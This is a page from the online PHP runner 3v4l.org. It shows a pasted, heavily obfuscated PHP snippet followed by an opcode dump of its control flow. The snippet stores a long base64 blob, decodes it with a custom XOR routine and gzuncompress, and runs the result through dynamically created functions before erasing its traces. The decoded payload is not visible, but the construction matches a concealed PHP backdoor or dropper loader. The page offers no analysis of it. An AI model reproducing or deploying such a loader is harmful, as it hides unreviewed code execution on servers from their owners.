3v4l.org

run code in 300+ PHP versions simultaneously
<?php $GLOBALS["gvryim"]=array( '$GLOBALS["gvryim"][0]=$GLOBALS["gvryim"][3];$yengrtyh=yengrtyh($GLOBALS["gvryim"][3], 7,13);$GLOBALS["gvryim"][0]=$yengrtyh($GLOBALS["gvryim"][2]);', '$GLOBALS["gvryim"][2]=gzuncompress(yengrtyh($GLOBALS["gvryim"][0],735,2156));', 'YXZ6Xn9/d09HbElpdH9ue0V2eHxWbnlqY2RGZGlpbHFgcWB7elV1e3p5aHVoZXFMUUBAQFZMXU9PQVpfWU9TQUxsd0FsfWdkfndqZHF9Z2RYVENpdncue3QwaTw2IzNGTkluSndkOGhlYCB6PGVJdC4gPH1kNX9WaH9RbS0yc3RuYWFxe2ppb2RQT3RQYGxncVFibG93fGZgfyhzcWFneTFka35sbThjZXRkaH99I3tpaGh4fDNqYGJ+ZnJ3aEBMR1FfaUlhdWd+dUdvZ3tOeVBkejI3PG5NTklATEdRU1JMWURKQ2JqeWBkOi5cbnVqZ3J/LX95YXd9Kn9/b29zfUJMT1YjTEJJcVpdQlRJSVdVRVtBREptUVtbQUhcTlxEUURNdXF1WU1WU1VFUF5CQEZRTkJXN1NuJ3x2dyNpa2cnbH5xIzRlZX59JWN0b3JaalVsVCdsfnEjNEpJVSR9eHN+TEhhTGVcVUN3dmp5XF1eUVhVQlxVQ0VFSFEnbH5xekV9aH9ubX5cfn15V3JzdHx1Y0FGVGdwf2g+YmN0d29+fSdjampldmxrUXhlTFl/aD5iY3R3b359J3V7ZWJyRnNLbndhYml+XG55e0NvWiZzckxLJnR8ZldUZmp5YGQ6LlxudWpncn9Vf0J4b3Z7bGFkbXdcbXV9V3t/cmtIbHlnYElDaX1qenpATEdRU09QT0JWSVFfSF5RU2lvWlRsbik9YH59ZmRkfGU4anF4TnNHcHNtKj1qfn9heT5qZ3tqLD1nY2hiZnlqbTh5aWdLelhTUidvYyxvdW1seW4mZnJ2NWI1cnRmLnMuQ2F'.'FLmwucWRqJXotSHVoZXN1Lm4uTVVza21hbVNpYXZ6dXVubzl6bHJsSWBsZ3E2NSxHaXFTLm8uZ2t5SFNEdm97fWdufG4uby5ieXFXZ0ltYHZiU0Z6Lm8ucmc6S15EWScnNDZlVnhWRk5Ad2B1NjpoYWYncISeWXdpqcIC9iIF0TsBErlgmJq8Laq5jtTcKy2gRqVdr6G4GjgLgLCJx0Kk/XwkixTV7TFlqtkt9OZJ7R4PU7CA60CY4hCrpfzPtTLPnalfvEpKGMVLDuRplW5fkiw0dw/2RCL2/m6KHPNGSiJP+YLQZRIpyyv9m5NuX7yqkLVETOLrAEOWvo6lElZNhvRZoBEmXDs/VplFEhCcdusJ2A8WVtNhQ9aSmsNAJIDo1nuxkQW4F1xBcYXPQY5/6KuPwrwOZJ9XF4ebXFme/ou+IOZirHGRrDRTDP/BM+FyJMIjyk35VfzsFwcn5xPK1gQr34P/4/iqipZ4uITFkyk6OTw43kmp1NJG+0OajqJtfG3NgEzZ9XGmHZVaw7wJgVORjkjS6tVmPfyNtcB0JW+yEr/nUhSZGamiErh+THpZglNGFZCiOIE3vkQ9+gV7sLadKuZzC2cVTW5NdJj4hhyNEkiltyB6VPHoOM7gSU0H6iRxnU0w2nkrdLok8+kUmfmTMAfLP/bYMBetMDVXPCy5Tk0FlHbvn5Iu+Zz0mWJ'.'nXALfk2OrWSDWysn2UuBJ4B38JHF7Kq9m75gg1e31meHtzHkwp+aHskspiXVhsftkO9yV4/Tu09ENq6/Ii1P+Y2MGJWSSNChJEvJ5WQEGgTyIKwS+4nWSHYi3wP8H5UeED98mxlMrhy5NvW4v1KJdiff2l+XyCm+5Xb6nsnCPdpsQQjxRQAB/lErHx8Bw1MsHHkPRCJw4hKxKnsV93YJ2W9xswGgLurfCqGMtXDoDbDEm0cmMqKd4PwDuOuy11e7mxZkA2OMAJJKWW545f+K8kNqiGchf8LlY1pGfRbIzs6CLW+zaMsZvtyijTUTet8We2wrGe05TAVpJEL8GbAXSoAdgM9V/1c5PGFqsLp6ID53TIS6EeQpswjFv3asI8aFYAkoy4q7+SMaf+ujp9OyfU+0xRG4WOcXiBnVXCl29LsxSv6rUJ4upqsp4J9AW/Ewo7zfolSF+FaEdij1smb0GzgeaEJhkCaFq8mMCRXhRT2Jf0jx4Zi7aszgVK256xy8iR6ZCTt/tq5PWZr19Tn2Q6npWXA27W6kRDZkeMKtcyXPDRUMJxwYz1P7QqDp9xIkyp6Xlpb+nBgxqC5jtkr4QgpgaxYvSXwFH14mH0kP+I3ngQ+3bJ2ImPEawPV/G23hkXNUzF2w9gByMF64KM2qhk6/zskEjhl7g7mTI9vIiAvgdq3CgDt/OzWD5lsLBbvBKqDt5GUVHr3V01euqmc57sYs4lg+g5CAgB4LWvm2xa3c/QqBWRscpuw2swooUvW7xok49E5PCrAHEs94KshjaJrSJLbMlCeFsAhY4tHfpPZG0uSLB5fBimaWRlq3+cvEaR6K43CcrmKkcZGQksSIO0aw+t'.'y56CS+QjnQQlAd1nUUbUjoMo+ZfnK0k+S9VuNR1YiqYGFZshZ7iUKUrejfLI8eVqk7ZBLxewtsqwMs+mjCj5C4LPEz+2E7y9caYGsekXc7kf9vD6QEiaw3O+cJ9hnP2J44WzR1si99ZtsoOtwysE94wDGy/snPNodbo8EbDg1shT3cNxv23+86iiS/DKnqCMQMPwgyCxWT+ueau4LLHb2HABvJkgMx2RMcZbtOMrs58HEJlRyg8VfH5zeC53EQRxc/S4dNt/h2OthQn98QHYXkb3wzJiC/SqnwY92FnQE13fWwkofDEzN97EM2lspCK1aKXAjad4vEiVT44W/Wc2eb5ycZKtBeeMEqPU2peHQkK9tDh/fPH5ifbaCzD4qPsev1KQmwjvRhn40VVvRfRQS9DsASgqJ+RMFQqWEhYFDYcC80SjAor4DbJCuSxfJ5e4+JM4TWbS/pamNmdyfrCX5ciTb3KjQJfkU7jMpSUM2AKyKiKBpuhemvsLVcMk0H5bCsYogE+7pl5pMqiLBIXxoWH2x5KdgxAxEtv8nCfqySenhUXwm7PsBoPzyTXA6xOZqpPOcItFIwUbw7qRKExJ6US8vgenFptQf2iYQq200FgfMiqNGlUJJpQ69Lo7imdxgM98VgBP/Rg6MxUMCb8i2H0l0uPBUqB3w+1WwVAPq2FLrxRLpITK+gXzbF2l6R2YyF63Ca3oD7h9Vs0LU+joVeNIWM/bbLAnoqjmEtJzVobf0IcL8+Rhn7wlLvViiTVCdVmaP8D0Fo'.'BEtdqXu8bEXSiHGdd2OBKqeFKZ24Hyz9XhSxanVabB+oY1HyID6ExpIou8AQdNgOXn6aDzT7mv590BYobH1xNl5yfmI3zhH3gLh9D0GFyOTjfSSBbjq57lHGJZZq/Vsvs4HhCPjz9UuospWZXyLiCx7GWy3rI+80A3kHgK+bcExanessEOiV3R3uF4jsAwgR56zyucY+H85fmXMNwM1BOQ78w+sg73CkrEc9CKlfR7ym+fQ2wpm3esJrM8cAYLF42VpeRxQEFWCvg83oDcM64dUV9o8Z7ehBC1/nrfkNlNbLoh+j3afc2VTpshXPCfHAO1zcbdekVqOkl5gbjZx7Wz8rm7m7xleno4Von6alsFl/KKioNLh+JR7620P0jzF1hTUtbdTJ+twkGZ8qE+0aZVDqCrSYqOSwHjxYazYO9e1sNxEV1SFuHTk29ee3RvyKGzOauQKtsfgBDg8jGrHkjJ9fe7sBA8k2mqX+ry2IIlUlmJEn1K2QqOzm0JIyqCsEVCELFrkuigUbznhj7RPGeQfjv5voBj3uNt9ilBxGtY/JbizJCeBX4Du90TXbU/ubifwKb6Q2SUe2N4SoRwRNL5eub6Q2ewTXx6pYJK+UrmtuTdFsugugXEo3Ar2ZsmpQzx3vpILp1FdT31BYZ4/8ztDvOZL3/s+f7mlfIw018CbFt4RZGWEM=', "/*bargm\x6a\x79\x60\x64\x3a\x2e\x5c\x6e\x75\x6a\x67\x72\x7f*/");$laaaijl='create_'; if(function_exists($laaaijl.='function')){ $laaaijl('','}function yengrtyh($i,$r,$c){$x=str_pad("",$c,"hxsalzcjpihvzfjw");$b=str_repeat("\x1f",$c);$e=str_repeat("\xe0",$c);$t = substr($i,$r,$c);return(($t^$x)&$b)|($t&$e);}{'); for($xv=-1;++$xv<3;$GLOBALS["gvryim"][$xv]()){ $GLOBALS["gvryim"][$xv]=$laaaijl('',$GLOBALS["gvryim"][$xv]); }};unset($GLOBALS["gvryim"]);?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 9, Position 2 = 35
Branch analysis from position: 9
1 jumps found. (Code = 42) Position 1 = 32
Branch analysis from position: 32
2 jumps found. (Code = 44) Position 1 = 35, Position 2 = 15
Branch analysis from position: 35
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 15
2 jumps found. (Code = 44) Position 1 = 35, Position 2 = 15
Branch analysis from position: 35
Branch analysis from position: 15
Branch analysis from position: 35
filename:       /in/bgDYE
function name:  (null)
number of ops:  38
compiled vars:  !0 = $laaaijl, !1 = $xv
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   FETCH_W                      global              $2      'GLOBALS'
          1        ASSIGN_DIM                                               $2, 'gvryim'
    2     2        OP_DATA                                                  <array>
    5     3        ASSIGN                                                   !0, 'create_'
    6     4        INIT_FCALL                                               'function_exists'
          5        ASSIGN_OP                                     8  ~5      !0, 'function'
          6        SEND_VAL                                                 ~5
          7        DO_ICALL                                         $6      
          8      > JMPZ                                                     $6, ->35
    7     9    >   INIT_DYNAMIC_CALL                                        !0
         10        SEND_VAL_EX                                              ''
         11        SEND_VAL_EX                                              '%7Dfunction+yengrtyh%28%24i%2C%24r%2C%24c%29%7B%24x%3Dstr_pad%28%22%22%2C%24c%2C%22hxsalzcjpihvzfjw%22%29%3B%24b%3Dstr_repeat%28%22%5Cx1f%22%2C%24c%29%3B%24e%3Dstr_repeat%28%22%5Cxe0%22%2C%24c%29%3B%24t+%3D+substr%28%24i%2C%24r%2C%24c%29%3Breturn%28%28%24t%5E%24x%29%26%24b%29%7C%28%24t%26%24e%29%3B%7D%7B'
         12        DO_FCALL                                      0          
    9    13        ASSIGN                                                   !1, -1
         14      > JMP                                                      ->32
   10    15    >   INIT_DYNAMIC_CALL                                        !0
         16        SEND_VAL_EX                                              ''
         17        CHECK_FUNC_ARG                                           
         18        FETCH_FUNC_ARG               global              $12     'GLOBALS'
         19        FETCH_DIM_FUNC_ARG                               $13     $12, 'gvryim'
         20        FETCH_DIM_FUNC_ARG                               $14     $13, !1
         21        SEND_FUNC_ARG                                            $14
         22        DO_FCALL                                      0  $15     
         23        FETCH_W                      global              $9      'GLOBALS'
         24        FETCH_DIM_W                                      $10     $9, 'gvryim'
         25        ASSIGN_DIM                                               $10, !1
         26        OP_DATA                                                  $15
    9    27        FETCH_R                      global              ~16     'GLOBALS'
         28        FETCH_DIM_R                                      ~17     ~16, 'gvryim'
         29        FETCH_DIM_R                                      ~18     ~17, !1
         30        INIT_DYNAMIC_CALL                                        ~18
         31        DO_FCALL                                      0          
         32    >   PRE_INC                                          ~20     !1
         33        IS_SMALLER                                               ~20, 3
         34      > JMPNZ                                                    ~21, ->15
   11    35    >   FETCH_UNSET                                      $22     'GLOBALS'
         36        UNSET_DIM                                                $22, 'gvryim'
         37      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
158.7 ms | 1404 KiB | 15 Q